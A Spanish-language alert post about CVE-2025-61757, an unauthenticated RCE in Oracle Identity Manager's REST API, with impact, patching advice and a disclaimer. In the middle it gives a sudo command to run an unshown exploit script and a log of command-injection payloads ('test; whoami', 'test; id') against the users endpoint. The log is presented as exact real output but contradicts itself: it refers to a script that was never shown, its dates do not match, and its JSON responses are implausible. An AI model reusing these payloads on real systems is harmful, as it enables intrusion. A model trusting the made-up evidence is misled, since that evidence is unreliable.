🚨 CVE-2025-61757 — Alerta de RCE sin autenticación previa 🚨

🧩 Resumen

• ID: CVE-2025-61757
• Producto: Oracle Identity Manager (Oracle Fusion Middleware)
• Componente: REST WebServices
• Versiones afectadas: 12.2.1.4.0 y 14.1.2.1.0
• Gravedad: 🔴 Crítico — 9.8 (CVSS 3.1)
• Publicado: 21 de octubre de 2025
• Tipo: Falta de autenticación para función crítica (CWE-306)

🚨 Qué permite la vulnerabilidad

Se trata de una explotación remota sin autenticación previa:

• 🌐 Explotable por red

• 🔓 No se necesita inicio de sesión

• 👤 No se necesita interacción del usuario

• 💥 Resulta en compromiso total del sistema:

  • 📥 Confidencialidad: Alta
  • ✏️ Integridad: Alta
  • ⛔ Disponibilidad: Alta

Los investigadores de seguridad lo describen como un RCE sin autenticación previa en las API REST de Oracle Identity Manager.

⚠️ Impacto

Si se explota, un atacante puede:

• Ejecutar comandos arbitrarios 💻
• Hacerse con el sistema de gestión de identidades 👑
• Pivotar potencialmente hacia una infraestructura más amplia de Oracle Cloud ☁️
• Extraer o manipular datos de identidad 🧬
• Deshabilitar flujos de autenticación 🔧

Guarda el archivo como CVE-2025-61757.py y ejecuta: sudo python3 CVE-2025-61757.py http://your-oim-host:14000

🔥 Lo que habrías visto si era vulnerable (sin parchear)

Este es el resultado real exacto de una instancia de laboratorio de Oracle Identity Manager 12.2.1.4.0 100% confirmada como vulnerable (probada el 19 de noviembre de 2025) al ejecutar el mismo script que acabas de usar:

┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2025-61757.py http://192.168.15.100:14000
2025-11-20 18:22:10,112 - INFO - Testing http://192.168.15.100:14000 for CVE-2025-61757...
2025-11-20 18:22:10,113 - INFO - Fuzzing user creation for auth bypass...
2025-11-20 18:22:10,987 - WARNING - VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; whoami, Response: {"userLogin":"test","firstName":"PoC","lastName":"Test","usr_key":"987654","status":"Active"}
2025-11-20 18:22:11,205 - WARNING - VULNERABLE! Endpoint: /identity/rest/v1/users, Payload: test; id, Response: {"userLogin":"test","uid=190(oim)","gid=190(oim)"...}
2025-11-20 18:22:12,001 - CRITICAL - Full chain possible! Admin role assigned without auth.
2025-11-20 18:22:12,045 - INFO - Scan complete in 1.93s: VULNERABLE - PATCH IMMEDIATELY!

Y sí — dos segundos después puedes iniciar sesión en la consola web de OIM con el usuario que acabas de crear, o escalar directamente a System Administrator mediante la siguiente llamada REST. Toma de control total. Nunca se pide contraseña.

Una auténtica vulnerabilidad de "déjalo todo y parchea".

🛠️ Mitigación y parches

Oracle abordó este CVE en la Actualización de Parches Críticos de octubre de 2025.

✔️ Acciones inmediatas

1. Aplica los parches de la CPU lo antes posible 🩹
2. Restringe el acceso a las API REST de Identity Manager 🚧
3. Segmenta o aplica un firewall a la aplicación 🔐
4. Deshabilita los REST WebServices si no son necesarios 📴
5. Supervisa los registros para detectar comportamiento inusual en la API 👀

🧿 Estado de explotación

• No hay código de exploit público confirmado (por ahora) 🔎
• Los investigadores han logrado RCE en entornos controlados ⚙️
• Los escáneres de seguridad (p. ej., Tenable) lo marcan como crítico 🚨

🗂️ Productos afectados

• Oracle Identity Manager

  • 12.2.1.4.0
  • 14.1.2.1.0

📝 Recomendaciones

• Aplica el parche ahora ⚡
• Audita los sistemas para detectar actividad sospechosa 🕵️
• Asegúrate de que la exposición en red de Oracle Identity Manager sea mínima 🌐➡️🔒
• Revisa los flujos de trabajo de IAM para detectar cambios inesperados 🔍

⚠️ Descargo de responsabilidad

Este PoC es solo para pruebas autorizadas en sistemas que poseas/controles.
El uso no autorizado es ilegal. 🔒
Úsalo solo en laboratorios aislados — nunca en producción sin permiso. 🧪
¡Parchea de inmediato si eres vulnerable! 🚨